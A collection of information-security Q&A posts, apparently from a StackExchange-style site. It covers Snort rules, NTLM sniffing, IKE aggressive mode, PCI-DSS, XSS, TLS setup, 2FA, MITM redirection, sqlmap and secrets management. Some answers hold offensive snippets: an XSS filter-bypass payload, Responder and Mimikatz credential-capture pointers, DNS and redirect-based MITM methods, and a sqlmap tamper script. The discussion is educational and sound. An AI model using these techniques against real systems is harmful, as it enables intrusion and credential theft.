Note that safe email handling is not easy; it is considered bad form to lose emails when a badly timed power shortage occurs. Email sending systems are supposed never to physically destroy email data until the receiving system has duly announced that it has committed the email to a physical medium (which, in a Unix filesystem context, entails at least an fsync() call). If you split emails into their main body and separate attachments, then such handling becomes more complex; this is probably easier to do with a database than with a filesystem. Thus, I would recommend the database, not for security, but for reliability.


How to create content rule in Snort The aim is to detect, if anyone in the HOME_NET is  searching for a particular term - say "terrorism" and generate an alert via a content based rule. I am using Snort 2.9 installed in a virtual machine (VirtualBox) running Ubuntu 18.04.

This same qs was asked here but remains unanswered.

For testing purpose, HOME_NET is set as a single machine (192.168.30.102)

The created rule is as follows:

alert tcp $HOME_NET any -> any any (msg:"terrrorism content found"; content:"terrorism"; nocase; sid:10000002;)

This is referred from the excellent video by Dr. Philip Craiger here.
A few other variations also attempted as suggested here and here:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"terrrorism content found"; content:"terrorism"; nocase; sid:10000002;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"terrrorism content found"; content:"terrorism"; http_uri; sid:10000002;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"terrrorism content found"; content:"terrorism"; http_client_body; sid:10000002;)

For testing, a simple google search was done in the web browser (firefox).
However no alerts are getting generated.

The rule to detect the word "HTTP" was executed properly:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP found"; content:"HTTP"; sid:10000002;)

This is a fairly simple rule because 'HTTP' is the first word in the packet application data. However any variation of the previous rule as described above doesn't seem to be working. Alerts are not getting generated.

I am a beginner in this field and trying to learn hence my apologies if this sounds to be a very obvious question.
I would appreciate if anyone could point me in the right direction.

For testing, a simple google search was done in the web browser (firefox).

Search engines today are usually accessed by HTTPS (and this is definitely true with Google). in HTTPS all the HTTP is encrypted which includes the full HTTP request (i.e. the part containing the string "HTTP") and also what is searched for.

Given that Snort only sees the encrypted traffic it will not see the phrases of your signatures in the traffic. These only exist in the decrypted traffic but Snort has no access to this.


How accurate the recent activities location provided by Microsoft emails One of my emails is on hotmail.com provided by Microsoft. Recently, after few suspicious incidents where my computer was hacked and many other accounts, I changed all my passwords including this email. I started ever since reviewing recent activities feature on daily basis. I could see many failed attempts to login to my email from different countries. It is increasing day after another. This illustrates recent few days only:

I reside in Malaysia, and I can see my successful logins in Malaysia. However, there many attempts from different countries. This gives the feeling my email is really targeted, I do not know what to do about it. Today failed, but maybe tomorrow won't. Other than changing my password and enabling 2 steps verification, I do not know what else can I do.
Now my question is, how much these locations accurate?
Or the hackers can virtually try from different countries although they are in one place?

What other measures I can take to stop this, or make them realize it is useless to try?
It feels like someone is trying to break into your house consistently.

Using a strong password and 2FA should be sufficient to prevent those who knew your password from succeeding again.

Yes, it is very possible that an attacker would have access to servers around the world to try and log into your account, so that's not surprising at all. It is also possible that your account credentials were sold, posted on a public forum. There are sites that try to determine if accounts are made public.

I know that its unnerving to have someone constantly try to break in, but we are all exposed to the same thing all the time. Good account practices protect us all from these types of threats.


Router tries to manipulate HTTPS connections? At home I use a router (Huawei B528s-23a), the default device which my provider recommends.

Over the last couple of days I often get a certificate error when opening a website which was obviously not the routers page.

In Safari for example:

It's seems that the router answers the SSL-Connection instead of the page I wanted to open. Is there any explanation for this strange behavior?

While it is the typical case of https eavesdropping, most likely there is no malicious intent in the background.

For example, the router can provide some web filtering or other defense for you with it.

Furthermore, it is impossible to be done without your consent: the manufacturer can't create such SSL certificates to the domains you visit, what are commonly accepted by all the browsers you use. You will surely see the warnings of your browsers due to failed certs.

On this reason, doing this for malicious purposes is practically impossible by router manufacturers.

I think it is more likely that you switched some content-based web filtering function of the router on, but did not read the docs saying, how to import the certs of the router into your browser (requires typically many clicks).

Check the router docs, and turn this off. From a router manufacturer, I want a router, not a virus filter.


Is it possible to sniff windows smb logons and are they encrypted? Since tools like Cain and Abel can sniff clear text passwords off most HTML pages, is it possible to configure the sniffing of clear text windows smb logons? I tried searching it up but the best thing that came up was Responder's NTLMv2 capture however I read that most windows 7 systems still use ntlm, so is there any way to configure clear text or ntlm sniffing of smb windows logons?

The NTLM challenge/response process does not transmit the passwords. If you want to get pedantic, neither the client nor the server has access to the passwords either.

Each has the NT hash of the user in question, which is used as the pre-shared key. Here's what happens when the client requests an SMB resource from the server:

The server issues a challenge.
Client encrypts the challenge using the user's NT hash as the key.
Client sends the encrypted challenge to the server.
Server encrypts its challenge with its copy of the user's hash.
Server compares the two encrypted challenges. If they match, access is granted.

The best you're going to get if you're sniffing that traffic, or poisoning with Responder, is the NetNTLMv2 hash, which is the encrypted challenge. You can then attempt to crack this offline, but as paj28 said, the only way you're going to get cleartext is using a tool like Mimikatz, which can read them from lsass.exe.


What are the practical risks of using IKE Aggressive mode with a pre-shared key? Our scanning vendor is marking us down because we are using IKEv1 in Aggressive Mode with a pre-shared key. We are using Sonicwall's Global VPN Client to connect to the VPN device in question.

I understand that this is a risk but I don't have a good feel for how risky it is. What are the practical risks involved here?

Supposedly, longer keys are safer. Assuming that the key itself is sufficiently random, how many characters is considered "safe" enough?

When you're using Aggressive mode, the authentication hash, (pre-shared key) is transmitted as response to the initial packet of the vpn client that wants to establish an IPSec Tunnel. The hash (pre shared key) is not encrypted. If an attacker can capture these session packets, they can run an attack to recover the PSK. The attack only affects aggressive mode because main mode encrypts the hash. For more on this, see Cisco's Main vs. Aggressive Mode tidbit. Be aware, there are security tools to make these attacks simple (ikescan, etc) see: http://blog.spiderlabs.com/2013/03/cracking-ike-aggressive-mode-hashes-part-1.html


How does the optional "e-mail password reset" at sync.com work? Sync.com proudly advertise that the company can't access your data but they do provide an optional email-based password reset.

  Most cloud storage providers differ from Sync because they can access,
  scan and read your files. Sync's end-to-end encrypted storage platform
  and apps ensure that only you can access your data in the cloud. We
  can’t read your files and no one else can either.

When activating or using the password reset function they state that their system has temporary access to your encryption keys. What does temporary mean here and how does it work?

  This feature does not expose your password to Sync, however it does
  give Sync’s automated systems temporary access to your encryption keys
  when the feature is enabled or used. We cannot enable or disable the
  feature on your behalf.

Does this mean that while having this function activated they could actually access my data? I don't see how it could work any other way but I find it a bit dishonest then to have zero-knowledge as their main selling point while still recommending people to use this "feature".

https://www.sync.com/help/passwords/#securitypassword

This is the official answer that I received from sync.com. So, as suspected, the promise of zero-knowledge only holds when this option is not enabled.

  Temporary means that your keys are briefly exposed to automated
  systems (not people).

  With the feature enabled, we store a backup key in escrow (on a
  separate offsite "cold server", not accessible from the public
  Internet or by Sync employees). The backup key can be used to reset
  your password, but not directly access your files.

  The password reset feature itself can only be enabled or disabled by
  you (technically we are unable to do so because enabling the feature
  requires your current password).

  We provide this feature because many industries require an email-based
  password reset feature for compliance purposes.

  For example, in some countries, legal firms that store client data in
  the cloud must be able to recover their data at all times, even in the
  event that they have lost their password and do not have the Sync
  desktop app installed (in which case they would be permanently locked
  out of their account).

  As long as you have the Sync desktop app installed, you do not need to
  enable this feature as the desktop app also provides a password reset
  mechanism that is fully zero-knowledge


If a website has a 5 second time delay before showing the login form, is that likely a security measure? The JP Morgan Chase homepage has a 5 second delay before login form appears. If you refresh the delay is always there. If you fail to input a proper password, the failed login page has no such delay when the page is loaded, regardless of how many refresh requests.

Is the homepage implementing some sort of security measure?

Is the homepage implementing some sort of security measure?

If you are referring to https://www.chase.com, then nope, it's just slow to load and do the transition thing. Terrible UX maybe, but this is not a security feature. A login cracking bot would not typically use the user interface anyway.

Basically, it's a banking website, and terrible UX is sadly the norm.

While this particular case may not be security related, it's not uncommon to have rate-limiting between login requests. This would have to be implemented in the back-end code to effect all requests to be effective.


Where to perform authorisation in a web app? Most web apps perform authorisation checks at the controller layer. This is basically ok, but complex apps tend to have repetitive checks. For example, there might be ten or so controller actions that operate on an Order, and every action needs to check that the current User is authorised to access that Order.

Some apps deal with this by having helper functions on Order, e.g. Order.isUserAuthz() and this does reduce code bloat. However, there is still the risk that a particular controller method forgets to call that function. From my experience pen testing, this is fairly common in complex apps.

Instead, how about having the model layer perform the authorisation check? So when you load an Order, it will only load if the current user is authorised. Because this is done by the model layer, there's no risk of the controller layer forgetting to make a call. Ultimately, what you're doing is reducing the amount of security-critical code, which reduces the risk of a coding error causing a vulnerability.

This seems like a good idea to me, but it is not common practice. Have you any thoughts on risks it could pose, or implementation difficulties?

Based on the way you have worded the question I'm assuming you mean in a .net MVC app.

Personally I view MVC as a presentation pattern. I tend to may my models pretty much DTOs. My controller is only responsible for passing data from the user into my service layer, and mapping the response to the DTO.

The service layer would contain all the authentication logic, and thus would be shared across many different controllers

My controllers are also responsible for translating internal security exceptions to appropriate http status codes.

Really controllers should be pretty empty of logic for exactly the reason you describe.


Help understanding PCI-DSS when using password based encryption from automatically generated keys I've inherited the task of self-auditing an e-commerce system for compliance with the PCI-DSS.

We are storing the PAN in our database in encrypted form using 256 bit AES algorithm to do the encryption. Key generation occurs within the application and is derived from a password set by the user. The password is read at application initialisation from a config. file. The encryption system used is provided by jasypt PBE methods.

I'm unclear how such a system should be managed for PCI-DSS compliance.

Q1: Should the password above be considered to be the "key encrypting key"?

Q2: Is PCI-DSS requirement 3.6.6 "If manual clear-text cryptographic key management operations are used, these operations must be managed using split knowledge and dual control (for example, requiring two or three people, each knowing only their own key component, to reconstruct the whole key)." relevant in this case and if so how could this be implemented?

I'm concerned about the need for compliance to 3.6.6 affecting our rapid development iteration and deployment cycle.

Q1. no, the password from which the key is generated (btw how is this done? PBKDF?) is not the KEK. The key you use to encrypt the password stored in the config file, that is the KEK. What do you mean, the password is not encrypted?

Q2. Not exactly.
If you implement a KEK to protect the key-generating password, then the KEK needs to be managed. Who can access the KEK, who can change it? That is where the split knowledge / dual control needs to come into play. For example, depending on your system, perhaps when it comes up two people need to manually enter (their part of) the KEK, to allow it to decrypt the key-generating password. Or perhaps you focus on the "dual control" part, where one has the OS-level password to enable local access to the config file, and one has the physical key to enter the room (assuming the config file can only be modifed locally, of course).

Of course, I am not a QSA, most importantly I am not your QSA - consult with him/her to verify your solution before implementing it.


Logging "password with counter" use When prompted to update their passwords after they've become stale (whether that's after 30, 60, 90 days — whatever is implemented by policy), many users simply increment the number that they may have been forced to add by the password policy.

I'm interested to know just how prevalent this practice is — not necessarily who's actually doing it.

Systems already keep a (hashed) password history to prevent immediate reuse. How bad would it be if I were to also keep a history of the ASCII sum of the plaintext and observe if that sum is incremented when the password is changed?

You can test whether or not certain users do this without saving any additional data which might potentially weaken security. Just check what their previous password would have been when they follow this schema and compare that to the old hash.

When a user updates their password, create permutations of the new password by taking each digit in the password and decrementing it by one. Then calculate the hashes of these permutations and check if they match the hash of the old password. For example, when I change my password to Pas5word!14 you would calculate the hashes for

Pas4word!14
Pas5word!04
Pas5word!13

When one of them matches my old hash, you caught me.


Which is better: detecting spam at receiver or source? Background

I researched a detection of spam sent out using bots. After studying different techniques used by bots to deliver spam, I have no generalised solution to detect spamming at the source network (where bots are residing) in different scenarios (Ex:Using Mx record to directly spam the destined mail-server, using open relays, using webmail services, using open proxy, using spoofed IP address). So, I moved to a receiver level, where all mails are delivered because at receiver side we simply have to say if a mail was a spam or legitimate one, according to some heuristics.

Query

However, could anyone suggest some generalized approach to detect spamming at source network and if possible provide some remarks which would be good, detecting spam mails at the receiver side or the spamming at the source network, where all bots reside?

It's a classic for a reason:

Your post advocates a

(X) technical ( ) legislative ( ) market-based ( ) vigilante

approach to fighting spam. Your idea will not work. Here is why it won't work. (One or more of the following may apply to your particular idea, and it may have other flaws which used to vary from state to state before a bad federal law was passed.)

( ) Spammers can easily use it to harvest email addresses
( ) Mailing lists and other legitimate email uses would be affected
( ) No one will be able to find the guy or collect the money
( ) It is defenseless against brute force attacks
( ) It will stop spam for two weeks and then we'll be stuck with it
( ) Users of email will not put up with it
( ) Microsoft will not put up with it
( ) The police will not put up with it
(x) Requires too much cooperation from spammers
( ) Requires immediate total cooperation from everybody at once
( ) Many email users cannot afford to lose business or alienate potential employers
( ) Spammers don't care about invalid addresses in their lists
( ) Anyone could anonymously destroy anyone else's career or business

Specifically, your plan fails to account for

( ) Laws expressly prohibiting it
(x) Lack of centrally controlling authority for email
(x) Open relays in foreign countries
( ) Ease of searching tiny alphanumeric address space of all email addresses
(x) Asshats
( ) Jurisdictional problems
( ) Unpopularity of weird new taxes
( ) Public reluctance to accept weird new forms of money
( ) Huge existing software investment in SMTP
( ) Susceptibility of protocols other than SMTP to attack
( ) Willingness of users to install OS patches received by email
(x) Armies of worm riddled broadband-connected Windows boxes
( ) Eternal arms race involved in all filtering approaches
( ) Extreme profitability of spam
( ) Joe jobs and/or identity theft
( ) Technically illiterate politicians
( ) Extreme stupidity on the part of people who do business with spammers
(x) Dishonesty on the part of spammers themselves
( ) Bandwidth costs that are unaffected by client filtering
( ) Outlook

and the following philosophical objections may also apply:

( ) Ideas similar to yours are easy to come up with, yet none have ever
been shown practical
( ) Any scheme based on opt-out is unacceptable
( ) SMTP headers should not be the subject of legislation
( ) Blacklists suck
( ) Whitelists suck
( ) We should be able to talk about Viagra without being censored
( ) Countermeasures should not involve wire fraud or credit card fraud
( ) Countermeasures should not involve sabotage of public networks
( ) Countermeasures must work if phased in gradually
( ) Sending email should be free
(x) Why should we have to trust you and your servers?
( ) Incompatiblity with open source or open source licenses
( ) Feel-good measures do nothing to solve the problem
( ) Temporary/one-time email addresses are cumbersome
( ) I don't want the government reading my email
( ) Killing them that way is not slow and painful enough

Sorry dude, but I don't think it would work.


Popup alert even when a site deletes the alert function? A website fully filter the alert function from his website, and replace it with an empty string, but I want to bypass it and still popup an alert, I am trying to solve an XSS challenge, and I figure out that the site identify the double l char, and fully removes the string.
http://alertmywebsite.com/2.php?xss=<script>allert(1)</script>
the output is <script>allert(1)</script>, and when I remove the second l, the output is <script></script>. Only the l is still showing the alert function. Any other double char is fully removes the string. How can I bypass it?

The alert function is actually a property of the global window object. As such, you can access it using bracket notation. If the string alert is blocked, you can break it up into multiple parts. Try this payload:
window["al" + "ert"](1)


Tracking sender of Email via email address ONLY Is there a way to track the sender and the location via the email address only.

The problem is somebody has created a similar sounding email id to send content to my official circle with a view to malign me.

It is obvious as result I am now under silent investigation and hence do not have access to the email

Only the address?  Not possible.  Even with the full headers of the email it can be difficult to trace, because it's possible to forge most of them.


Using cipher suite: deployment commands Can someone point me in using the correct OpenSSL commands to use a certain cipher suite. For example DHE-RSA-AES256-GCM-SHA384 (I am not using ECDH suite because of supposed NSA backdoor controversy/issues). As I will be using this on an internal network I would stick to TLSv1.2 (will be using Firefox 39.0 portable).

key exchange = Diffie-Hellman Ephemeral
authentication = RSA
encryption = AESGCM(256)
Message authentication code = AEAD

(what above parts come into play in the openssl commands to generate key and cert)

Create own Root CA key and cert:

openssl genpkey -algorithm DH -out rootca.key ....
openssl req -x509 -new -SHA512 -nodes -key rootca.key -days 1826 -out rootca.crt

Create CSR.

openssl req -new -SHA512 -key server.key -nodes -out server.csr

Create FQDN key and cert with own Root CA. (created a DynDNS account to have it tested by Qualys SSL test)

openssl x509 -req -SHA512 -days 1826 -in server.csr -CA rootca.crt -CAkey rootca.key -CAcreateserial -out server.crt

part of /etc/nginx/nginx.conf:

ssl_protocols TLSv1.2;
ssl_ciphers "DHE-RSA-AES256-GCM-SHA384";
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout  5m;

using:

OpenSSL 1.0.1k
Nginx 1.6.2
Debian 8.1

I'm not sure to understand very well what you ask, but I will try to give you an answer.

First, Firefox is not compatible with AES256-GCM, only with AES128-GCM and with ECDHE key exchange.
You can check this by browsing this page with it: https://www.ssllabs.com/ssltest/viewMyClient.html

If you want your configuration to work with Firefox, I suggest you to change your cipher suite to ECDHE_RSA_WITH_AES_128_GCM_SHA256 (or TLS_DHE_RSA_WITH_AES_256_CBC_SHA if you really don't like Elliptic Curves, but you don't use AES-GCM anymore).

About your OpenSSL commands, the option -SHA512 has no link with the SHA256 or SHA384 used in the cipher suite.

The first one (with OpenSSL) is used to define the signature
algorithm you want to use for the certificate authentication
mechanism (for key exchange, when a client connects).
The second and third one (in cipher suite) is used to ensure the integrity of the
messages when client and server are talking to each-other.

EDIT didn't see the comments.

If you want a certificate to use these cipher suites, generate a basic RSA certificate using these commands and it should work.

openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt -sha256

The above commands will generate your own CA key and self signed certificate.

openssl genrsa -out webserver.key 4096
openssl req -new -key webserver.key -out webserver.csr -sha256
openssl x509 -req -days 730 -in webserver.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out webserver.crt -sha256

And this will generate your webserver certificate signed by your CA.

The last thing will be to generate a strong dhparameter if you use DHE (and not ECDHE):

openssl dhparam -outform PEM -out dhparam.pem 4096

Be careful, this is CPU intensive and it may take some time.


Is SHA synonymous with SHA1 or SHA0? There is so little info and so much confusion out there.

People often equate SHA2 as being SHA256; so then would SHA be 160 bit, also known as SHA1?

Is SHA deprecated, like SHA1?

Are they the same thing?

What is the difference, anyway?

Does a deprecated SHA1 mean one should consider disabling SCHANNEL\Hashes\SHA?

People often equate SHA2 as being SHA256...

Do they? While this is not fully true it is not fully wrong: SHA-256 is part of the SHA-2 family which also includes SHA-512 and others. See What is the relationship between “SHA-2” and “SHA-256”

  ... so then would SHA be 160 bit? AKA SHA1?

SHA is originally not SHA-1 but SHA-0. From Wikipedia:Secure Hash Algorithms:

  SHA-0: A retronym applied to the original version of the 160-bit hash function published in 1993 under the name "SHA". It was withdrawn shortly after publication due to an undisclosed "significant flaw" and replaced by the slightly revised version SHA-1.

Despite this SHA-1 is often simply called SHA, like in cipher names like  TLS_RSA_WITH_AES_128_CBC_SHA.

  Does a depreciated SHA1 mean one should consider disabling SCHANNEL\Hashes\SHA?

This setting seems to affect the availability of SHA-1 in older versions of Windows (up to Windows 2003). But not every use of SHA-1 is bad. While it is no longer considered secure enough to be used for signing X.509 certificates used by TLS it is still considered safe to be used as HMAC as used in ciphers like TLS_RSA_WITH_AES_128_CBC_SHA. See Will Google block HMAC-SHA1 along with SHA1 signed certificates?. Thus, disabling SHA-1 in general using this registry key is not recommended (but it is probably recommended to use a newer version of Windows than Windows 2003).


Why 2FA is not considered flawless when used to secure an account? Often I see it being discussed that if configured and enabled, 2FA will increase the security of an account, it will add an additional security layer, however an attacker could still gain access to the said account somehow.

Considering the scenario: I have 2FA configured in my GitHub account, and I use the Google Authenticator app.

If the attacker had my account’s password (keylogger on my computer or similar attack), how it would be possible to go through 2FA without physical access to my phone?

Well, I hate to break this to you, but Google Authenticator plus password isn't really two-factor authentication. Proper 2FA is two separate items out of traditionally the triad "something you have" (physical item, which may itself hold a secret), "something you know" (secret), and "something you are" (often biometrics).

Password plus Google Authenticator is probably better summed up as password and soft token, as Troy Hunt did in a recent blog post. Basically, the app stores a secret, and uses that secret to generate temporary passwords.

If someone is able to break into your phone general-purpose pocket computer with a variety of radio interfaces running arbitrary, potentially hostile, software, they could presumably find some way to extract those secrets. Once extracted, they could likely be transplanted onto a different phone, which would now generate the same temporary passwords.

This doesn't mean that a "soft" 2FA is meaningless. It does raise the bar considerably for an attacker. But it's still a variation on "something you know"; only that the knowing part is done by your phone, rather than by your brain (or, hopefully, password manager).

To make a claim that something is "flawless" means that there must be, at a minimum, no conceivable way by which it could be exploited by an attacker. This seems a rather high bar to meet for a general-purpose computer running arbitrary software storing a high-value secret.

Better to just stick to saying that it makes an attacker's job more difficult.


How to implement an active Man-In-The-Middle attack that changes the request URL address For training purposes, I need some pointers on the tools and tips to implement an active Man-In-The-Middle attack.

The attack scenario that I want to do is a toy example (which has countermeasures by server authentication) is the following:

1) The user request a.com

2) The MITM changes the user request to b.com

3) The user sees b.com in his agent (e.g., browser)

I looked in the web. There is ARPP spoofing, which seems will allow me to sniff on users requests but no manipulate.

What is the easiest way to manipulate the user's requested address through  a MITM attacker who does not have access to the user's device, but only the communication channel?

As I said, this question is for learning. It is also worth nothing that this is detectable by modern client agents or browsers, and I do not intend to implement it in any ways other than lab learning environment.

You could MITM the victim’s DNS connection. When the victim requests a name resolution for a.com, you return the address for b.com. The victim’s browser bar will still say a.com, but they will be communicating with b.com.

Or you could MITM the http stream and let the victim connect to a.com, but replace the server’s 200 response with a 302 redirect response to b.com. The victim’s browser will show b.com in the address bar.


SQLMap: How to test JavaScript generated field names? I have a pretty simple HTML page that submits a username and password to the server via POST method:

<doctype html>
<head>
    <title>SQLMap dynamic parameters</title>
</head>
<body>
    <form id="sqliForm" action="sqli.php" method="POST">
        <input id="username" type="text" name="username">
        <input id="password" type="password" name="password">

        <input type="submit" value="Submit">
    </form>
</body>
</html>

My goal is to perform an automated test which SQLMap provides against the sqli.php. I guess, as simple as it could be. However, there's a JavaScript piece on the client side too that appends a pseudo-random string to the username and password fields upon clicking the "Submit" button, which turns the field names into smth. like usernamePgZd4H and password3vOklA, seemingly different every time. The JS code has been understood so that I can predict the correct name of the fields upon submission though.

Needless to say, SQLMap fails here and picks out only the field names that are currently inside HTML code (i.e. username=&password= when passing the --forms option to sqlmap.py). I've embarked on a good old technique of Manual Staring and found out that there's an --eval option to SQLMap which might have helped me: I could generate a correct username but it's value is what I want to test and not specify myself like in the example provided by the manual:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Is there any way I could leverage SQLMap's powers here (or maybe even another tool in combination with it)?

P.S.: Here's a sample PHP script that, hopefully, illustrates the problem a bit better than words. You can see that the server compares SHA1 hashes of the UNIX timestamp within the last 3 seconds and whatever came from the client-side. Hardly ever a badass barrier for a determined attacker but looks like prevents automated attempts. The JavaScript at the bottom of the file changes the field names upon form submission.

P.P.S.: My other thought was that I could write a BASH script and feed the resulting "correct" username and password field names to SQLMap but then again, that would be true just for the first requst (?)

The best way of dealing with this is to write a custom sqlmap tamper script.

You can find examples in the tamper folder. In the script you'll want to make a request to whatever page is generating the random form parameter (or appending to a parameter's value); or if you can truly predict it every time, just have the tamper script generate it itself.

So your script would look something like this (if I am understanding the problem correctly):

def tamper(payload, **kwargs):
    username = get_username()
    password = get_password()
    return payload + "&%s=user1&%s=password" % (username, password)

If you then call sqlmap with --tamper yourtampername it will run that script before every request. It will be a little bit hacky, but your tamper can also introduce new parameters into the request.

Now, if you also want to test those dynamically generated values for injection, things might get a little tricky. Play around with it though and see if you can get it to do what you want.


OpenVPN using google authenticator I'm a little new to OpenVPN. I'm trying to get google authenticator to work with OpenVPN but I'm having a little trouble. Currently I'm tring to setup a radius server to run the authentication then have the radius server use google authenticator as part of the authentication process. I feel like there has to be a better way to do this. If anyone has done this before or knows a better way to go about it some guidance would be much appreciated.

There is an extention made for OpenVPN for OTP (One Time Password).
This extention includes Google Authenticator software tokens.

https://github.com/evgeny-gridasov/openvpn-otp


What is extension intolerance in the context of TLS? SSL Labs checks for TLS version intolerance and TLS extension intolerance. I've seen another answer on this site that covers version intolerance, but what does extension intolerance mean, specifically, in this context?

The most information I could find online is that specifying extensions in the ServerHello message that are unsupported by a poorly written server might lead to a protocol downgrade or a closed connection, but it isn't clear to me exactly what that means in terms of the actual messages that might be sent in order to trigger this issue.

Are they talking about ClientHello extension records whose 16-bit identifiers do not match any known by the server?

The book "Bulletproof SSL and TLS: Understanding and Deploying SSL/TLS and PKI to Secure Servers and Web Applications" describes this at page 168 essentially as a server side handshake failure caused by the inability to process TLS extension in the ClientHello. See the following part taking from Google Books:

Given that the author of this book is Ivan Ristić who works for Qualys who provides the SSL Labs service I expect that this is the intended meaning within the context of the SSL Labs tests.


What's the difference between VPN over TCP vs UDP? My VPN provider gives me the option between using UDP and TCP for connections. According to this site UDP is faster over short distances. I'm on the same continent as my server, is that considered short distance? Is there a test I can run to compare the two?

A VPN is for wrapping raw IP packets into some kind of "tunnel" between two sites (one of the site being possibly reduced to one computer, i.e. yours). TCP is a protocol which sits on top of IP, and uses IP packets (which are "unreliable": they can get lost, duplicated, reordered...) to provide a reliable two-directional channel for data bytes, where bytes always reach the receiver in the order they were sent. TCP does that by using a complex assortment of metadata with explicit acknowledges and reemissions. Thus, TCP incurs a slight network overhead.

If the VPN uses TCP, then your own TCP connections will use IP packets sent through the VPN, so you end up paying the TCP overhead twice. An UDP-based VPN thus has the potential for slightly better performance. On the other hand, the cryptographic protection of the VPN requires some state management, which may be harder for the VPN implementation when using UDP, hence it is possible that the UDP-based VPN has an extra overhead to contend with.

Therefore, the performance situation is not clear, and you should measure.


What security advantages does Hashicorp Vault have over storing secrets (passwords, API keys) in environment variables? There seems to be a general recommendation to store secrets in the Hashicorp Vault instance (or similar key-management software) and avoid passing secrets via environment variables.
In what particular scenarios using Vault is better from security point of view than using environment variables?

Vault's promise is "secrets as a service". It supports static storage of secrets (think encrypted Redis/Memcached), pass-through encryption (give Vault plaintext, vault gives back ciphertext that you store in a database), and dynamic secret acquisition.

On the static secret side of things, data is encrypted in transit and at rest. Data can be stored in memory, on the file system, or in third-party tools like Etcd or Consul. This is great for application-level secrets. Vault supports online rotation of the underlying encryption key. If you have FIPS/HIPPA/PCI compliance requirements, Vault makes it easy to check off most of those boxes with the default configuration.

With the pass-through encryption (or "transit" as it's called internally), Vault acts as an encryption service, accepting plaintext data, encrypting it, and returning the ciphertext. I wrote about this process in much more detail on the HashiCorp blog, but the process is simple. This ciphertext is then managed by your application. When the application needs the plaintext back, it authenticates and authorized to Vault, provides Vault the ciphertext, and Vault returns the plaintext (again, if authorized). There are a ton of benefits here, but the biggest ones are: 1. You don't have to build a symmetric encryption service into your application; just make an API call, and 2. The encryption keys are stored in a completely separate and isolated service; if an attacker must compromise multiple systems. Additionally, Vault's transit backend supports this concept called "derived keys". This enables things like per-row encryption keys for data stored in a database, such that even if an attacker had a database dump and could brute force the first encryption key, that key would not decrypt the other rows in the database. Just like the static secret backend, the transit backend supports key rotation.

The dynamic secret backends, in my opinion, are where Vault truly separates itself from other or home-grown solutions. Vault can connect to and dynamically generate credentials from things like databases, cloud credentials, CA certificates, manage SSH access, and more. Unlike traditional credentials, these credentials have a lease associated with them, akin to something like DNS or DHCP. When an application is given a credential, it's also given a "lease" or lifetime of that credential. Over time, the application (or a service) must communicate with Vault that it's still using that credential or Vault will revoke it. This helps eliminate secret sprawl while still providing a programatic way to access credentials. Since this is programatic, each instance of the application (or python script in your example) receives a different secret. You can easily revoke a single application's credentials without affecting the entire system.

Here are some use cases that might help you get buy-in internally:

Use Vault's GitHub authentication to authenticate your developers and operators. GitHub team membership is mapped to policy in Vault. Anyone in the ops team gets SSH access to prod, and anyone in the dev team gets the ability to generate dynamic AWS account credentials in the staging environment for testing.
Use Vault's AppRole authentication to have applications authenticate to Vault and retrieve a token. From there, the application's policy allows it to retrieve startup data, such as a database credential. If the app crashes, the database credential is automatically revoked when the lease expires.
You've detected a data leak. You can immediately revoke all affected credentials. This is called a "break glass" procedure.

As an additional note, you can use a tool like Consul Template to pull values from Vault into a template that your application can then consume. Your application does not need to be "Vault aware".

And finally, probably not related to your problem given the post, but it's worth pointing out that Vault also solves the "no one person has complete access to the system" challenge that most organizations face. By using Shamir's Secret Sharing algorithm, the process for bringing a Vault server online is very similar to unlocking a traditional bank Vault - multiple people must enter their key simultaneously to unlock. You can also read more about Vault's security model.

For videos that have demos and stuff, check out:

https://www.youtube.com/watch?v=8kafXiaCdRw
https://www.youtube.com/watch?v=-Re7J-3EDNY
https://www.youtube.com/watch?v=iMI9-6jcYiY


Sanitize 3rd party XSS post in Java API We have some RESTful API services that we have been using for several years. Recently we have started considering surfacing these to 3rd party clients so they can write their own UIs and we can work on building up this service layer.  Unfortunately this would mean that we would not have control over enforcing that data is sanitized before posting, or before rendering which leaves a potential risk for XSS (for example if someone were to post data with JavaScript in a textarea that might be saved to the DB).

Our stack is Apache, Tomcat and Java.

Does anyone know of a way to put some kind of filter out in front of these existing API endpoints that could handle sanitizing data both inbound and outbound (altho inbound is probably most important)?  As mentioned these are long standing APIs that weren't publicly accessible so we had been handling this at the UI layer, but we would like to avoid having to rewrite every existing endpoint to handle sanitization if possible.

This is a common need and the usual approach is to do 3 things:

develop a schema that describes acceptable inputs and optionally outputs for each endpoint

If these APIs are using JSON or XML for their inputs and responses, and have consistent request and response formats per endpoint, there are schema languages for those formats.

If not, or if the composition of acceptable requests- what fields may exist or not exist, what kinds of values may appear, etc- requires some context and can't necessarily be generically validated, then this may be challenging.
introduce an API gateway into the architecture

API gateways are intended to live at the edge of the infrastructure, like a webserver, but to also provide for execution of complex logic, so they all include some runtime language integration.

Some open source options are:

apiman http://www.apiman.io/latest/
zuul https://github.com/Netflix/zuul
kong https://getkong.org/
tyk https://tyk.io/
wso2 http://wso2.com/products/api-manager/

Several of these have commercial support options.
Introduce validation logic utilizing the schema definitions into the api gateway for each endpoint.

The API gateways offer many other benefits beyond request/response validation that matter when exposing APIs to - needs like authentication/authorization, rate limiting, metering, metrics, white/blacklisting, caching, transformation- are also available.


Do we need to guard against federated identity servers lying about who signed in? Having successfully integrated my old web forms app with an ADFS server I got to thinking about how the process works as a whole. The old app passes the user to the remote ADFS, then eventually the user arrives back in our server having a signed-in identity of joe.schmoe@somedomain.com but I'm not entirely clear on whether I'm supposed to trust that's right, or whether I'm supposed to try and ensure it's right.
Supposing that a rogue actor at somedomain.com replaces the sign on at the remote end or manipulates it in some way such that my local server ends up being told that bigboss@somedomain.com signed in (when it was actually tom.hacker@somedomain,com), or worse that bigboss@otherdomain.net signed in, what do we do with such situations?
Is this handled already by the auth process such that we can be sure there are some local rules that enforce the federated server may only return users with some characteristic such as "must really be a user of somedomain.com, for which you know this identity server is responsible" ?
When we hand off authentication to a third party, and get the "user X auth'd successfully", do we need to be wary about whether it's truly user X and whether the server confirming the identity truly has authority to do so for the user given?
